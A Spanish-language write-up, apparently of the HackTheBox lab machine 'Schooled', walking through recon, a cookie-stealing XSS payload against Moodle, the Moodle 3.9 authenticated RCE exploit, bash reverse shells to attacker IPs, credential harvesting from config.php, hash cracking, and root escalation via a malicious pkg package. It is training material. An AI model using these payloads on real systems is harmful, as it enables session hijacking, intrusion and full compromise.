Schooled
Explotamos un XSS en un moodle para robar una cookie de sesión, un CVE de modle 3.9 el cual lleva a un RCE, y para la escalada de privilegios, conseguimos ser root a través del comando pkg, debido a unos permisos mal implementados en el /etc/sudoers
March 28, 20248 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
> ping -c 1 10.10.10.234
PING 10.10.10.234 (10.10.10.234) 56(84) bytes of data.
64 bytes from 10.10.10.234: icmp_seq=1 ttl=63 time=36.3 ms
--- 10.10.10.234 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 36.284/36.284/36.284/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.234 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.234
5 │ [*] Open ports: 22,80,33060
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
> nmap -p22,80,33060 -sCV 10.10.10.234 -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Schooled - A new kind of educational institute
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
Pues al final no es un linux, nmap ha detectado que estamos frente a un FreeBSD
Puerto 80
Si observamos la web desde el navegador vemos que es una página muy simple sin ninguna función que llame la atención. En este puto, podemos mediante la herramienta whatweb intentar sacar un poco de información
> whatweb 10.10.10.234
http://10.10.10.234 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], Email[#,admissions@schooled.htb], HTML5, HTTPServer[FreeBSD][Apache/2.4.46 (FreeBSD) PHP/7.4.15], IP[10.10.10.234], PHP[7.4.15], Script, Title[Schooled - A new kind of educational institute], X-UA-Compatible[IE=edge]
De toda la información recopilada lo que más llama la atención es el email admissions@schooled.htb, ya que sale un dominio schooled.htb. A partir de este dominio buscamos subdominios con la herramienta wfuzz
echo "10.10.10.234 schooled.htb" >> /etc/hosts
> wfuzz -c -t 20 --hc=404 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.schooled.htb" http://schooled.htb/
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000015: 200 461 L 1555 W 20750 Ch "ns"
000000031: 200 461 L 1555 W 20750 Ch "mobile"
000000001: 200 461 L 1555 W 20750 Ch "www"
000000003: 200 461 L 1555 W 20750 Ch "ftp"
000000007: 200 461 L 1555 W 20750 Ch "webdisk"
000000040: 200 461 L 1555 W 20750 Ch "ns4"
Todos los subdominios devuelven un código de estado 200, así que vamos a usar otro método para filtrar las peticiones que no sea el código de estado, por ejemplo podemos filtrar por la cantidad de caracteres, vamos a ocultar todas las respuestas con 20750 caracteres --hh20750
> wfuzz -c -t 20 --hh=20750 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.schooled.htb" http://schooled.htb/
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000162: 200 1 L 5 W 84 Ch "moodle"
Tenemos un subdominio: moodle
echo "10.10.10.234 schooled.htb moodle.schooled.htb" >> /etc/hosts
Este subdominio tiene un moodle instalado.
Para poder navegar por el moodle, creamos una cuenta.
Dentro del curso de matemáticas hay el siguiente mensaje
Este es un curso de autoinscripción. Para los estudiantes que deseen asistir a mis conferencias, asegúrese de tener configurado su perfil de MoodleNet.
Los estudiantes que no configuren sus perfiles de MoodleNet serán eliminados del curso antes de que comience el curso y verificaré a todos los estudiantes que estén inscritos en este curso.
Esperamos verlos a todos pronto.
manuel phillips
En la configuración de nuestro perfil, modificamos el perfil de MoodleNet. En la nota se menciona que el profesor verifica los perfiles de MoodleNet así que podemos probar de hacer un XSS para robarle la cookie al profesor
Con esto confirmamos que podemos hacer un XSS.
Para robar la cookie de sesión del professor y así secuestrar su cuenta, usaremos el siguiente payload
<img src=x onerror=this.src='http://10.10.14.20/input.php?cookie='+document.cookie>
Después nos montamos un servidor http con python para recibir la petición con la cookie
> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.234 - - [07/Apr/2024 21:13:44] "GET /input.php?cookie=MoodleSession=j7br6s51ia212og0ghc8htd1f8 HTTP/1.1" 200 -
Ahora ya tenemos la cookie y podemos secuestrar la sesión de Manuel Phillips
Consultando /theme/upgrade.txt encontramos la versión del moodle 3.9
> curl moodle.schooled.htb/moodle/theme/upgrade.txt
This files describes API changes in /theme/* themes,
information provided here is intended especially for theme designer.
=== 3.9 ===
Con una búsqueda con searchsploit identificamos un exploit para dicha versión
> searchsploit moodle 3.9
----------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------- ---------------------------------
Moodle 3.9 - Remote Code Execution (RCE) (Authenticated) | php/webapps/50180.py
----------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
> python3 50180.py http://moodle.schooled.htb/moodle --cookie 4ai0o3jlkpct1pcv6a2go5c687
__ __ __ __ __ __ __ __
/ \ /|_ __ _) / \ _) / \ __ /| |__| _) _) /|
\__ \/ |__ /__ \__/ /__ \__/ | | __) /__ | • by lanz
Moodle 3.9 - Remote Command Execution (Authenticated as teacher)
Course enrolments allowed privilege escalation from teacher role into manager role to RCE
[+] Login on site: MoodleSession:4ai0o3jlkpct1pcv6a2go5c687 ✓
[+] Updating roles to move on manager accout: ✓
[+] Updating rol manager to enable install plugins: ✓
[+] Uploading malicious .zip file: ✓
[+] Executing whoami: ✓
www
[+] Keep breaking ev3rYthiNg!!
El exploit ha funcionado!
Para recibir la reverse shell nos ponemos en escucha por el puerto 443
nc -nlvp 443
Por último aprovechándonos del plugin que ha subido el exploit para ejecutar comandos vamos a ejecutar el comando para mandarnos la reverse shell
bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"
curl "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.8%2F443%200%3E%261%27"
Escalada de privilegios
Para mejorar la consola vamos a usar el típico comando python3 -c 'import pty;pty.spawn("bash")'
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ python3 -c 'import pty;pty.spawn("bash")'
bash: python3: command not found
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ which python3
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ which python
Parece que python no está instalado, pero sí los buscamos con find sí que existe
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ find / -name python3 2>/dev/null
/usr/local/bin/python3
Esto se debe a que /usr/local/bin no está en el path
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ echo $PATH
/sbin:/bin:/usr/sbin:/usr/bin
Así que para ejecutar el comando anterior necesitamos especificar la ruta completa
/usr/local/bin/python3 -c 'import pty;pty.spawn("bash")'
[www@Schooled /]$ ^Z
zsh: suspended nc -nlvp 443
> stty raw -echo; fg
[1] + continued nc -nlvp 443
reset
Ahora ya tenemos una shell en condiciones, pero aún no podemos hacer ctrl + l, para solucionarlo, ejecutamos lo siguiente para hacer que TERM valga xterm y SHELL valga bash
[www@Schooled /]$ export TERM=xterm
[www@Schooled /]$ export SHELL=bash
Dentro del archivo config.php de moodle encontramos las credenciales de la base de datos
[www@Schooled /usr/local/www/apache24/data/moodle]$ cat config.php
<?php // Moodle configuration file
unset($CFG);
global $CFG;
$CFG = new stdClass();
$CFG->dbtype = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'moodle';
$CFG->dbpass = 'PlaybookMaster2020';
$CFG->prefix = 'mdl_';
$CFG->dboptions = array (
Nos conectamos
mysql -u moodle -p
Seleccionamos la base de datos moodle
moodle@localhost [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| moodle |
+--------------------+
moodle@localhost [(none)]> use moddle
Después consultamos la tabla de users
moodle@localhost [moodle]> select * from mdl_user;
Dentro hay un usuario llamado Jamie que casualmente también existe en el sistema
[www@Schooled /usr/local/www/apache24/data/moodle]$ cat /etc/passwd | grep jamie
jamie:*:1001:1001:Jamie:/home/jamie:/bin/sh
Así que lo que vamos a hacer es sacar su hash de la base de datos y guardarlo en un archivo llamado hash, para posteriormente romperlo con john
> john --wordlist=/usr/share/wordlists/rockyou.txt hash
Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx (?)
Ahora ya tenemos su contraseña, lo que podemos comprobar es si tiene la misma contraseña para el sistema
> ssh jamie@schooled.htb
(jamie@schooled.htb) Password for jamie@Schooled:
jamie@Schooled:~ $
Efectivamente usa la misma contraseña
Con sudo -l observamos que jaime tiene permisos para ejecutar dos comandos
jamie@Schooled:/tmp $ sudo -l
User jamie may run the following commands on Schooled:
(ALL) NOPASSWD: /usr/sbin/pkg update
(ALL) NOPASSWD: /usr/sbin/pkg install *
Con una búsqueda rápida en gtfobins encontramos que nos podemos aprovechar de pkg para escalar privilegios.
Para escalar privilegios vamos a crear un paquete para freebsd, que dentro va a contener un comando para mandarnos una reverse shell
TF=$(mktemp -d)
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.14/443 0>&1"' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
Este paquete nos lo pasamos a la máquina víctima a través de un servidor con python, por ejemplo.
curl 10.10.14.14/x-1.0.txz --output x-1.0.txz
Por último nos ponemos en escucha con nc ’nc -nlvp 443’ e instalamos el paquete
sudo pkg install -y --no-repo-update ./x-1.0.txz
Recibimos la shell como root!
> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.234] 15909
[root@Schooled /tmp]#